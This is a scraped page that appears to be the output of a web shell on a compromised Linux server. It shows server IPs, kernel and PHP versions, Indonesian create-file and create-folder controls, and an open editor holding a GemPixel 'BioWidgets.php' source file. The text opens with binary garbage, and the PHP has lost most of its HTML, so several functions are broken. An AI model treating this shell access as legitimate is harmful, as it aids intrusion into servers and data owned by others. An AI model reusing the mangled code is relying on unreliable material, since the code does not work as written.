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;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ Default page
  • Your IP: 216.73.216.3
  • Server IP: 1.201.172.194
  • Server: Linux hyjg 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  • Server Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
  • PHP Version: 8.2.20
  • Buat File | Buat Folder
Edit File: BioWidgets.php

'.self::e('Visitors must subscribe before being redirected').'

' : '').' '; } /** * Tagline Widget Setup * * @author GemPixel * @category Content * @version 7.2 * @return string */ public static function taglineSetup(){ $type = 'tagline'; return "function fntagline(el, content = null, did = null){ if($('[data-id=bio-tag]').length > 0) { $.notify({ message: '".self::e('You already have a tagline widget.')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); $('#contentModal .btn-close').click(); return false; } if(content){ var text = content['text']; } else { var text = ''; } if(!did) did = 'tagline'; if(did == 'bio-tag') did = 'tagline'; let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').prepend(html); }"; } /** * Save Tagline * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $value * @return void */ public static function taglineSave($request, $profiledata, $data){ $data['active'] = $data['active'] == '1' ? 1 : 0; $data['text'] = clean($data['text']); return $data; } /** * Tagline Block * * @author GemPixel * @version 7.2 * @param [type] $value * @return void */ public static function taglineBlock($id, $value){ if(!$value) return; if(isset($value['text']) && !empty($value['text'])){ return '

'.clean($value['text']).'

'; } } /** * Heading Setup * * @author GemPixel * @category Content * @version 7.2 * @return string */ public static function headingSetup(){ $type = 'heading'; return "function fnheading(el, content = null, did = null){ var text = '', format, color='#000000'; if(content){ var text = content['text']; var format = content['format']; var color = content['color']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('[data-id='+did+'] [type=color]').spectrum({ color: color, showInput: true, preferredFormat: 'hex', move: function (color) { Color('#'+did, color, $(this)); }, hide: function (color) { Color('#'+did, color, $(this)); saveBio();} }); }"; } /** * Save Heading * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function headingSave($request, $profiledata, $data){ $data['active'] = $data['active'] == '1' ? 1 : 0; $data['format'] = in_array($data['format'], ['h1','h2','h3','h4','h5','h6']) ? $data['format'] : 'h1'; $data['text'] = clean($data['text']); $color = str_replace('#', '', $data['color']); $data['color'] = ctype_xdigit($color) && strlen($color) == 6 ? "#{$color}" : "#000000"; return $data; } /** * Heading Block * * @author GemPixel * @category Widget * @version 7.2 * @param mixed $id * @param array $value * @return string */ public static function headingBlock($id, $value){ if(in_array($value['format'], ['h1','h2','h3','h4','h5','h6'])){ return '<'.$value['format'].' style="color:'.($value['color'] ?? 'inherit').' !important">'.$value['text'].''; }else{ return '

'.$value['text'].'

'; } } /** * Divider * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function dividerSetup(){ $type = 'divider'; return "function fndivider(el, content = null, did = null){ if(content){ var color = content['color']; var style = content['style']; var height = content['height']; } else { var color = '#000000'; var style = 'solid'; var height = 2; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('[data-id='+did+'] [type=color]').spectrum({ color: color, showInput: true, preferredFormat: 'hex', move: function (color) { Color('#'+did, color, $(this)); }, hide: function (color) { Color('#'+did, color, $(this)); saveBio();} }); }"; } /** * Save Divider * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function dividerSave($request, $profiledata, $data){ $data['active'] = $data['active'] == '1' ? 1 : 0; $data['style'] = in_array($data['style'], ['solid', 'dotted', 'dashed', 'double']) ? $data['style'] : 'solid'; $data['height'] = is_numeric($data['height']) && $data['height'] > 1 && $data['height'] < 10 ? $data['height'] : 3; $color = str_replace('#', '', $data['color']); $data['color'] = ctype_xdigit($color) && strlen($color) == 6 ? "#{$color}" : "#000000"; return $data; } /** * Divider Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function dividerBlock($id, $value){ if(!isset($value['height']) || !$value['height'] || !is_numeric($value['height']) || $value['height'] < 1 || $value['height'] > 10) $value['height'] = 2; if(!isset($value['style']) || !$value['style'] || !in_array($value['style'], ['solid', 'dotted', 'dashed', 'double'])) $value['style'] = 'solid'; if(!isset($value['color']) || !$value['color'] || !ctype_xdigit(str_replace('#', '', $value['color']))) $value['style'] = '#000000'; return '
'; } /** * Text Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return string */ public static function textSetup(){ $type = 'text'; return "function fntext(el, content = null, did = null){ if(content){ var text = content['text']; } else { var text = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#'+did+'_editor').summernote({ toolbar: [ ['style', ['bold', 'italic', 'underline', 'clear']], ['para', ['link','ul', 'ol', 'paragraph']], ], height: 150 }); $('#container-'+did+' .note-editable').blur(function(){ saveBio(); }); }"; } /** * Save Text * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function textSave($request, $profiledata, $data){ $data['active'] = $data['active'] == '1' ? 1 : 0; if(strlen(clean($data['text'])) > 2000) throw new Exception(e('{b} Error: Text is too long.', null, ['b' => e('Text')])); $data['text'] = Helper::clean($data['text'], 3, false, ''; } /** * iTunes / Apple Music Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function itunesSetup(){ $type = 'itunes'; return "function fnitunes(el, content = null, did = null){ let regex = /^https:\/\/music.apple.com\/(.*)/i; var link = ''; if(content){ var link = content['link']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Apple Music link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Itunes Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function itunesSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https:\/\/music.apple.com\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Apple Music link')); } return $data; } /** * Apple Music Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function itunesBlock($id, $value){ $link = str_replace('music.apple', 'embed.music.apple', $value['link']); return ''; } /** * PayPal Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function paypalSetup(){ $type = 'paypal'; $list = ''; foreach (\Helpers\App::currency() as $code => $info){ $list .= ''; } return "function fnpaypal(el, content = null, did = null){ if(content){ var label = content['label']; var email = content['email']; var amount = content['amount']; var currency = content['currency']; } else { var label = ''; var email = ''; var amount = ''; var currency = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Save Paypal * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function paypalSave($request, $profiledata, $data){ $data['label'] = Helper::clean($data['label'], 3); $data['email'] = Helper::clean($data['email'], 3); $data['amount'] = (double) Helper::clean($data['amount'], 3); if($data['email'] && !Helper::Email($data['email'])) throw new Exception(e('Please enter a valid email')); $data['currency'] = strtoupper($data['currency']); return $data; } /** * Paypal Widget * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function paypalBlock($id, $value){ return ' '; } /** * Tiktok Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function tiktokSetup(){ $type = 'tiktok'; return "function fntiktok(el, content = null, did = null){ let regex = /^https?:\/\/(?:www|m)\.(?:tiktok.com)\/(.*)\/video\/(.*)/i; var link = ''; if(content){ var link = content['link']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid TikTok video link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * TikTok Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function tiktokSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(?:www|m)\.(?:tiktok.com)\/(.*)\/video\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid TikTok video link')); } return $data; } /** * Tiktok Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function tiktokBlock($id, $value){ $tid = explode('/', $value['link']); $tid = end($tid); return '
'; } /** * Tiktok Profile Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function tiktokprofileSetup(){ $type = 'tiktokprofile'; return "function fntiktokprofile(el, content = null, did = null){ let regex = /^https?:\/\/(?:www|m)\.(?:tiktok.com)\/@(.*)/i; var link = ''; if(content){ var link = content['link']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid TikTok profile link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Tiktok * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function tiktokprofileSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(?:www|m)\.(?:tiktok.com)\/@(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid TikTok profile link')); } return $data; } /** * Threads Profile Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function tiktokprofileBlock($id, $value){ return '
'; } /** * Youtube Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function youtubeSetup(){ $type = 'youtube'; return "function fnyoutube(el, content = null, did = null){ let regex = /http(?:s?):\/\/(?:www\.)?youtu(?:be\.com\/(watch|playlist)\?(v|list)=|\.be\/)([\w\-\_]*)(&(amp;)?‌​[\w\?‌​=]*)?/i; var link = ''; if(content){ var link = content['link']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('

'.self::e('You can add a link to a video or a playlist.').'

', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Youtube video or playlist link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Youtube Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function youtubeSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/http(?:s?):\/\/(?:www\.)?youtu(?:be\.com\/(watch|playlist)\?(v|list)=|\.be\/)([\w\-\_]*)(&(amp;)?‌​[\w\?‌​=]*)?/i", $data['link'])) { throw new Exception(e('Please enter a valid Youtube video or playlist link')); } return $data; } /** * Youtube Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function youtubeBlock($id, $value){ if(empty($value['link'])) return false; preg_match("/http(?:s?):\/\/(?:www\.)?youtu(?:be\.com\/(watch|playlist)\?(v|list)=|\.be\/)([\w\-\_]*)(&(amp;)?‌​[\w\?‌​=]*)?/i", $value['link'], $match); if(isset($match[1])){ if($match[1] == 'playlist'){ $link = 'https://www.youtube.com/embed/videoseries?list='.$match[3]; }elseif($match[1] == 'watch') { $link = 'https://www.youtube.com/embed/'.$match[3]; }else { $link = 'https://www.youtube.com/embed/'.$match[3]; } } return ''; } /** * RSS Feed * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function rssSetup(){ $type = 'rss'; return "function fnrss(el, content = null, did = null){ let regex = /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})))(?::\d{2,5})?(?:[/?#]\S*)?$/i; var link = ''; if(content){ var link = content['link']; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid RSS Feed link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Undocumented function * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function rssSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !Helper::isURL($data['link'])) throw new Exception(e('Please enter a valid RSS Feed link')); if($data['link'] && \Helpers\App::rss($data['link']) == 'Invalid RSS') throw new Exception(e('Please enter a valid RSS Feed link')); return $data; } /** * RSS Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function rssBlock($id, $value){ $items = \Helpers\App::rss($value['link']); $html ='
'; if(!is_array($items)){ $html .= $items; }else { foreach($items as $item){ $html .='
'.(isset($item['image']) && $item['image'] ? ''.Helper::clean($item['title'], 3).'':'').'
'.Helper::clean($item['title'], 3).'
'.Helper::clean($item['description'], 3).'
'; } } $html.='
'; return $html; } /** * Image * * @author GemPixel * @category Content * @version 7.2 * @return void */ public static function imageSetup(){ $type = 'image'; return "function fnimage(el, content = null, did = null){ if(content){ var link = content['link']; var link2 = content['link2']; } else { var link = ''; var link2 = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
\':\'\')+\'
\':\'\')+\'
', $type))."'; $('#linkcontent').append(html); if($('#remove-'+slug(did)).is(':checked')){ $(this).prop('checked', false).removeAttr('checked'); $('#link-'+slug(did)).val(''); } if($('#remove2-'+slug(did)).is(':checked')){ $(this).prop('checked', false).removeAttr('checked'); $('#link2-'+slug(did)).val(''); } }"; } /** * Image Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function imageSave($request, $profiledata, $data){ $appConfig = appConfig('app'); $sizes = $appConfig['sizes']; $extensions = $appConfig['extensions']; $key = $data['id']; if($image = $request->file($key)){ if(!$image->mimematch || !in_array($image->ext, $extensions['bio']['image']) || $image->sizekb > $sizes['bio']['image']) { throw new Exception(e('Image must be either a PNG or a JPEG (Max {s}kb).', null, ['s' => $sizes['bio']['image']])); } $filename = "profile_imagetype".Helper::rand(6).str_replace(['#', ' '], '-', $image->name); $request->move($image, $appConfig['storage']['profile']['path'], $filename); if(isset($profiledata['links'][$key]['image']) && $profiledata['links'][$key]['image']){ App::delete($appConfig['storage']['profile']['path'].'/'.$profiledata['links'][$key]['image']); } $data['image'] = $filename; } else { if(isset($profiledata['links'][$key]['image'])) $data['image'] = $profiledata['links'][$key]['image']; } if($image = $request->file($key.'-2')){ if(!$image->mimematch || !in_array($image->ext, $extensions['bio']['image']) || $image->sizekb > $sizes['bio']['avatar']){ throw new Exception(e('Image must be either a PNG or a JPEG (Max {s}kb).', null, ['s' => $sizes['bio']['image']])); } $filename = "profile_imagetype".Helper::rand(6).str_replace(['#', ' '], '-', $image->name); $request->move($image, $appConfig['storage']['profile']['path'], $filename); if(isset($profiledata['links'][$key]['image2']) && $profiledata['links'][$key]['image2']){ App::delete($appConfig['storage']['profile']['path'].'/'.$profiledata['links'][$key]['image2']); } $data['image2'] = $filename; } else { if(isset($profiledata['links'][$key]['image2'])) $data['image2'] = $profiledata['links'][$key]['image2']; } if(isset($data['removeimage']) && $data['removeimage']){ if(isset($profiledata['links'][$key]['image']) && $profiledata['links'][$key]['image']){ App::delete($appConfig['storage']['profile']['path'].'/'.$profiledata['links'][$key]['image']); } $data['image'] = ''; $data['link'] = ''; } if(isset($data['removeimage2']) && $data['removeimage2']){ if(isset($profiledata['links'][$key]['image2']) && $profiledata['links'][$key]['image2']){ App::delete($appConfig['storage']['profile']['path'].'/'.$profiledata['links'][$key]['image2']); } $data['image2'] = ''; $data['link2'] = ''; } return $data; } /** * Image Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function imageBlock($id, $value){ if(!isset($value['image']) || !$value['image']) return; if(isset($value['image2']) && $value['image2']){ return '
'.($value['link'] ? ' ' : ' ').'
'.(isset($value['link2']) && $value['link2'] ? ' ' : ' ').'
'; }else{ if($value['link']){ return ''; } else { return ''; } } } /** * Newsletter * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function newsletterSetup(){ $type = 'newsletter'; return "function fnnewsletter(el, content = null, did = null){ if(content){ var text = content['text']; } else { var text = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Save Newsletter * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function newsletterSave($request, $profiledata, $data){ $data['text'] = clean($data['text']); return $data; } /** * Newsletter Processor * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function newsletterProcessor($block, $profile, $url, $user){ $request = request(); if($request->isPost()){ if($request->action == 'newsletter'){ if(!$request->email || !$request->validate($request->email, 'email')) return back()->with('danger', e('Please enter a valid email.')); $resp = json_decode($profile->responses, true); if(!isset($resp['newsletter']) || !in_array($request->email, $resp['newsletter'])){ $resp['newsletter'][] = clean($request->email); $profile->responses = json_encode($resp); $profile->save(); } return back()->with('success', e('You have been successfully subscribed.')); } } } /** * Newsletter Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function newsletterBlock($id, $value){ return '
'; } /** * Contact Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function contactSetup(){ $type = 'contact'; return "function fncontact(el, content = null, did = null){ if(content){ var text = content['text']; var email = content['email']; } else { var text = ''; var email = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Save Contact * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function contactSave($request, $profiledata, $data){ $data['text'] = clean($data['text']); $data['email'] = clean($data['email']); if($data['email'] && !Helper::Email($data['email'])) throw new Exception(e('Please enter a valid email')); return $data; } /** * Contact Form Processor * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function contactProcessor($block, $profile, $url, $user){ $request = request(); if($request->isPost()){ if($request->action == 'contact'){ \Gem::addMiddleware('ValidateCaptcha'); if(!$request->email || !$request->validate($request->email, 'email')) return back()->with('danger', e('Please enter a valid email.')); $profiledata = json_decode($profile->data, true); $data = $profiledata['links'][$request->blockid]; $message = clean($request->message); $email = clean($request->email); $page = \Helpers\App::shortRoute($url->domain??null, $profile->alias); Plugin::dispatch('profile.contacted', [$message, $email, $page]); Emails::setup() ->replyto([Helper::RequestClean($request->email)]) ->to($block['email']) ->send([ 'subject' => '['.config('title').'] You were contacted from your Bio Page: '.$profile->name, 'message' => function($template, $block) use ($message, $email, $page){ if(config('logo')){ $title = ''; } else { $title = '

'.config('title').'

'; } return \Core\Email::parse($template, ['content' => "

You have received an email from {$email} sent via the Bio Page {$page}.

Message:

{$message}

", 'brand' => $title]); } ]); return back()->with('success', e('Message sent successfully.')); } } } /** * Contact Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function contactBlock($id, $value){ return '
'.csrf().' '.\Helpers\Captcha::display().'
'; } /** * FAQS Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function faqsSetup(){ $type = 'faqs'; return "function fnfaqs(el, content = null, did = null){ if(content){ var question = content['question']; var answer = content['answer']; } else { var question = []; var answer = []; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
\'; question.forEach(function(value, i){ html += \'
\'; }); html += \'
', $type))."'; $('#linkcontent').append(html); $('[data-trigger=addfaq]').click(function(e){ e.preventDefault(); $('#container-'+did+' button[data-trigger=addfaq]').before('".self::format('
')."'); }); $(document).on('click','[data-trigger=deletefaq]', function(e){ e.preventDefault(); $(this).parents('.faq-holder').fadeOut('fast', function(){ $(this).remove(); saveBio(); }) }); }"; } /** * Save Faq * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function faqsSave($request, $profiledata, $data){ $data['question'] = isset($data['question']) && $data['question'] ? array_map('clean', $data['question']) : []; $data['answer'] = isset($data['answer']) && $data['answer'] ? array_map('clean', $data['answer']) : []; return $data; } /** * FAQS Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function faqsBlock($id, $value){ if(!isset($value['question'])) return; $html = '
'; foreach($value['question'] as $i => $question){ $html .='
'.$value['answer'][$i].'
'; } $html .='
'; return $html; } /** * vCard Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function vcardSetup(){ $type = 'vcard'; $list = ''; foreach (\Core\Helper::Country(false) as $country){ $list .= ''; } return "function fnvcard(el, content = null, did = null){ if(content){ var button = content['button']; var fname = content['fname']; var lname = content['lname']; var phone = content['phone']; var cell = content['cell']; var fax = content['fax']; var email = content['email']; var company = content['company']; var address = content['address']; var city = content['city']; var state = content['state']; var country = content['country']; var zip = content['zip']; var site = content['site']; } else { var button = ''; var fname = ''; var lname = ''; var phone = ''; var cell = ''; var fax = ''; var company = ''; var email = ''; var address = ''; var city = ''; var state = ''; var country = ''; var site = ''; var zip = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * vCard Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function vCardSave($request, $profiledata, $data){ return array_map('clean', $data); } /** * vCard Processor * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function vcardProcessor($block, $profile, $url, $user){ $request = request(); if($request->isPost()){ if($request->action == 'vcard'){ $vcard = "BEGIN:VCARD\r\nVERSION:3.0\r\n"; if((isset($block['fname']) && $block['fname']) && (isset($block['lname']) && $block['lname'])){ $vcard .= "N:{$block['lname']};{$block['fname']}\r\n"; } if(isset($block['company']) && $block['company']){ $vcard .= "ORG:{$block['company']}\r\n"; } if(isset($block['phone']) && $block['phone']){ $vcard .= "TEL;TYPE=work,voice:{$block['phone']}\r\n"; } if(isset($block['cell']) && $block['cell']){ $vcard .= "TEL;TYPE=cell,voice:{$block['cell']}\r\n"; } if(isset($block['fax']) && $block['fax']){ $vcard .= "TEL;TYPE=fax:{$block['fax']}\r\n"; } if(isset($block['email']) && $block['email']){ $vcard .= "EMAIL;TYPE=INTERNET;TYPE=WORK;TYPE=PREF:{$block['email']}\r\n"; } if(isset($block['site']) && $block['site']){ $vcard .= "URL;TYPE=work:{$block['site']}\r\n"; } if(isset($block['address']) && isset($block['city']) && isset($block['state']) && isset($block['country'])){ $vcard .= "ADR;TYPE=work:;;{$block['address']};{$block['city']};{$block['state']};{$block['country']}\r\n"; } $vcard .= "\r\nREV:" . date("Ymd") . "T195243Z\r\nEND:VCARD"; return \Core\File::contentDownload('vcard.vcf', function() use ($vcard){ echo $vcard; }); } } } /** * vCard Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function vcardBlock($id, $value){ return '
'.csrf().'
'; } /** * Product Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function productSetup(){ $type = 'product'; return "function fnproduct(el, content = null, did = null){ if(content){ var text = content['name']; var description = content['description']; var amount = content['amount']; var link = content['link']; } else { var text = ''; var description = ''; var amount = ''; var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Save Product * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function productSave($request, $profiledata, $data){ $appConfig = appConfig('app'); $sizes = $appConfig['sizes']; $extensions = $appConfig['extensions']; $key = $data['id']; if($image = $request->file($key)){ if(!$image->mimematch || !in_array($image->ext, $extensions['bio']['image']) || $image->sizekb > $sizes['bio']['avatar']){ throw new Exception(e('Image must be either a PNG or a JPEG (Max {s}kb).', null, ['s' => $sizes['bio']['avatar']])); } $filename = "profile_producttype".Helper::rand(6).str_replace(['#', ' '], '-', $image->name); $request->move($image, $appConfig['storage']['profile']['path'], $filename); if(isset($profiledata['links'][$key]['image']) && $profiledata['links'][$key]['image']){ App::delete($appConfig['storage']['profile']['path'].'/'.$profiledata['links'][$key]['image']); } $data['image'] = $filename; } else { $data['image'] = $profiledata['links'][$key]['image']; } return $data; } /** * Product Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function productBlock($id, $value){ if(!empty($value['link'])){ return '
'.(isset($value['image']) && $value['image'] ? '
' : '').'

'.$value['name'].'

'.$value['description'].'

'.$value['amount'].'
'; } else { return '
'.(isset($value['image']) && $value['image'] ? '
' : '').'

'.$value['name'].'

'.$value['description'].'

'.$value['amount'].'
'; } } /** * HTML Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function htmlSetup(){ $type = 'html'; return "function fnhtml(el, content = null, did = null){ if(content){ var code = content['html']; } else { var code = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Save HTML * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profieldata * @param [type] $data * @return void */ public static function htmlSave($request, $profieldata, $data){ $data['html'] = Helper::clean($data['html'], 3, false, ''; } /** * Facebook Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function facebookSetup(){ $type = 'facebook'; return "function fnfacebook(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?facebook.com)\/(.*)/i; if(content){ var link = content['link']; } else { var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Facebook Post link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Facebook Post * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function facebookSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?facebook.com)\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Facebook Post link')); } return $data; } /** * Facebook Block * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function facebookBlock($id, $value){ if(!$value['link'] || empty($value['link'])) return; return '
